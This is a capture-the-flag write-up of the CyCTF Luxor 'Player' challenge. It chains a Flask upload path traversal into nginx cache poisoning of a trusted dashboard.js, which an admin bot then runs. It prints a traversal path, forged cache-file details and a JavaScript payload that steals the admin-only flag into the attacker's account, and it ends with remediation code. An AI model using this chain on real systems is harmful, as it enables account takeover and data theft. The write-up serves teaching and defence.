CyCTF Luxor: Player - Upload Traversal → Nginx Cache Poisoning → Admin Bot Flag Exfil · 0xMRMA
untrusted filename → arbitrary file write → overwrite nginx cache entry for trusted JS → complaint bot logs in as admin and opens dashboard → poisoned JS runs as admin → exfil flag into attacker account
If you don’t understand these, the exploit looks random.
Concept 1: Path traversal in file uploads means the filename is not metadata anymore, it becomes a filesystem primitive.
Concept 2: Nginx file cache stores cached responses as real files on disk, keyed by md5(cache_key) .
Concept 3: If you can overwrite a cached trusted JavaScript file, you get script execution without finding a DOM XSS sink.
Tooling: curl , basic Flask reading, and comfort reading infra files like nginx.conf .
Goal: turn a boring upload bug into admin-context JavaScript execution .
Main idea: I did not inject into HTML. I replaced a trusted cached asset the admin bot loads.
Key lesson: arbitrary file write becomes much stronger when the target stack has proxy caches, bots, or auto-review systems .
Backend: Flask + Flask-Login
Reverse proxy: nginx with cache enabled for and
/static/
/uploads/
Bot: Selenium logs in as admin and opens /dashboard backend/app.py original_name = file .filename
sanitized_name = secure_filename( file .filename)
save_path = os.path.join(app.config[ "UPLOAD_FOLDER" ], original_name)
os.makedirs(os.path.dirname(save_path), exist_ok = True )
file .save(save_path) Fatal assumption: secure_filename() is only used for display, not for the actual write path.
location /static/ {
proxy_pass http://localhost:5000/static/;
proxy_cache bank_cache;
proxy_cache_valid 200 5m ;
} @app.route ( "/api/complain/<int:invoice_id>" , methods = [ "POST" ])
def complain (invoice_id):
http_requests.post( f " { bot_url } /visit" , json = { "invoice_id" : invoice_id}, timeout = 5 )
driver.get( f " {TARGET_URL} /login" )
# login as admin
driver.get( f " {TARGET_URL} /dashboard" ) dashboard.js escapes invoice names before inserting them into the DOM, so a filename like <script> does nothing useful. The real sink is not HTML. The real sink is cached /static/js/dashboard.js .
Step 1: Upload traversal gives arbitrary write
Because the backend saves file.filename directly, I can write outside uploads/ .
Step 2: Live deployment blocks direct overwrite of app files
Trying to overwrite /app/static/js/dashboard.js returned 500 on the live box, so direct sibling overwrite was dead.
Step 3: /var/cache/nginx was still writable
That changed everything. nginx was already serving /static/js/dashboard.js from cache, and the cache directory was writable from the upload primitive.
Step 4: Poison trusted JS, not HTML
So instead of searching for XSS, I overwrote the cached response for:
http://localhost:5000/static/js/dashboard.js 8506729f374636e55036550657970e1d With levels=1:2 , the cache file lands at:
/var/cache/nginx/d/e1/8506729f374636e55036550657970e1d Critical implementation detail that cost me time
The nginx cache marker is a 6-byte array:
static u_char ngx_http_file_cache_key [] = { LF, 'K' , 'E' , 'Y' , ':' , ' ' }; So the forged file must use:
Not a NUL-terminated 7-byte string.
No DOM XSS needed
No template injection
No quote breaking
Uses the challenge’s intended moving parts:
upload
nginx cache
admin bot
Extra nuance: the bot loads dashboard twice
My first payload “worked” but the output kept getting overwritten.
Reason: after I stole the admin session action, my own login/upload flow caused /dashboard to load again as my user.
Fix: only run the payload when:
info.user.role === "admin" That role check stopped the second clobber.
Core JavaScript I cached into dashboard.js
( async () => {
try {
const info = await fetch ( '/api/invoices' , { credentials: 'include' }). then ( r => r. json ());
if ( ! info.user || info.user.role !== 'admin' ) return ;
const flag = await fetch ( '/flag' , { credentials: 'include' }). then ( r => r. text ());
await fetch ( '/logout' , { credentials: 'include' });
const body = new URLSearchParams ({
username: 'MY_USER' ,
password: 'MY_PASS'
});
await fetch ( '/login' , {
method: 'POST' ,
headers: { 'Content-Type' : 'application/x-www-form-urlencoded' },
body,
credentials: 'include'
});
const fd = new FormData ();
fd. append ( 'invoice' , new Blob ([flag], { type: 'text/plain' }), 'flag.txt' );
await fetch ( '/upload' , {
method: 'POST' ,
body: fd,
credentials: 'include'
});
} catch (e) {}
})(); What the forged cache file had to contain
Valid ngx_http_file_cache_header_t layout
Correct crc32(key)
Correct header_start
Correct body_start
Exact key marker: \nKEY:
Raw cached HTTP response whose body is my JavaScript
../../var/cache/nginx/d/e1/8506729f374636e55036550657970e1d
uploaded a normal seed invoice
called /api/complain/<seed_id>
waited for the bot
downloaded flag.txt from my own account
Flask accepted my custom multipart filename
Path traversal wrote my forged file into nginx cache
Complaint endpoint triggered the Selenium bot
Bot logged in as admin and opened /dashboard
Browser loaded poisoned cached dashboard.js
JS fetched /flag
JS logged into my account
JS uploaded the flag as a normal invoice
I downloaded it back through /uploads/flag.txt
Never use raw file.filename for disk paths
Generate server-side filenames only
Store uploads outside the app tree and outside proxy/cache paths
Mount app code and cache dirs with least privilege
Don’t let authenticated bots browse the same origin with powerful endpoints like /flag
Add asset integrity / immutable asset pipelines for trusted JS
name = secure_filename( file .filename)
random_name = f " { uuid.uuid4().hex } _ { name } "
save_path = os.path.join(app.config[ "UPLOAD_FOLDER" ], random_name)
file .save(save_path)
This challenge was not “find XSS in a table row.”
filename becomes filesystem write
filesystem write reaches nginx cache
cached trusted JavaScript becomes attacker JavaScript
admin bot turns that into privileged execution